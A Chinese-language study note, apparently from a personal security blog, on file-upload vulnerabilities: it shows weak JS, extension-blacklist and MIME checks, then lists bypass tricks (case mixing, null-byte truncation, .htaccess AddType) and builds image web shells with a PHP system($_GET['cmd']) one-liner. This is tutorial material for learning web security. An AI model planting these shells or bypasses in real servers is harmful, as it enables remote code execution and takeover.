网络安全 / A LEAF IN THE GARDEN
文件上传
网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。
简介
网站疏于检查用户上传的文件,导致攻击者可以上传恶意文件到服务器上,从而执行任意代码。
利用条件
- 允许上传文件
- 上传后能访问文件
- 服务器会将文件作为脚本解析
校验绕过
网站通常会对文件类型、大小、内容等进行校验,但校验机制有时存在漏洞,可以绕过。
前端 JS 校验
网页用 JS 代码在浏览器检查文件类型
<!-- 文件上传 -->
<input type="file" accept=".jpg,.png" onchange="checkFile(this)">
<script>
function checkFile(input) {
var filename = input.value;
// 检查文件类型
if (!filename.endsWith('.jpg') && !filename.endsWith('.png')) {
alert('只允许上传 JPG/PNG 文件!');
input.value = ''; // 清空选择
}
}
</script>
绕过方法
代码在攻击者自己的浏览器里,可以随便操控,强度堪比马奇诺防线。
- 直接禁用浏览器 JS
- F12 检查,删除校验函数
- 抓包再修改后缀
后端后缀校验
服务器在后端检查文件后缀名,判断文件类型。
// 黑名单
$deny_ext = array("php", "jsp", "asp", "aspx");
// 取后缀
$filename = $_FILES['file']['name'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
// 检查后缀
if (in_array($ext, $deny_ext)) {
die("禁止上传该类型文件!");
}
绕过方法
-
混合大小写
.Php -
双写(如果是替换式过滤)
.pphphp #.p php hp -
添加空格或其他字符(会被服务器自动去除)
.php(空格) .php. .php/ -
使用其他可解析后缀名
.php5 .phtml .phar -
空字符截断(php版本 < 5.3.4)
.php%00.jpg -
.htaccess覆盖(Apache)AddType application/x-httpd-php .jpg上传自定义配置文件,使 jpg 被解析成 php
MIME 类型校验
服务器检查 HTTP 请求头中的 Content-Type,判断文件类型。
// 这个值来自 HTTP 请求头
if ($_FILES['file']['type'] != 'image/jpeg') {
die("只允许 JPEG 图片!");
}
依旧抓包改一下就行了
文件内容校验
检查文件的前几个字节(魔数)来判断文件类型。
JPEG 文件: 开头必须是 FF D8 FF
PNG 文件: 开头必须是 89 50 4E 47
GIF 文件: 开头必须是 47 49 46 38
(即 "GIF89a" 或 "GIF87a")
绕过方法
制作图片马(合法图片 + 恶意脚本),配合文件包含等漏洞使用。
图片马的结构
┌───────────────────────────────┐
│ FF D8 FF E0 ... │ ← 文件头校验通过
├───────────────────────────────┤
│ ...正常图片数据... │ ← 图片本身正常
├───────────────────────────────┤
│ <?php system($_GET['cmd']); │ ← 藏在末尾的恶意代码
└───────────────────────────────┘
制作方法
-
手动拼接
cat real.jpg shell.php > shell.jpg -
直接在代码前加 GIF 头
GIF89a <?php system($_GET['cmd']); ?>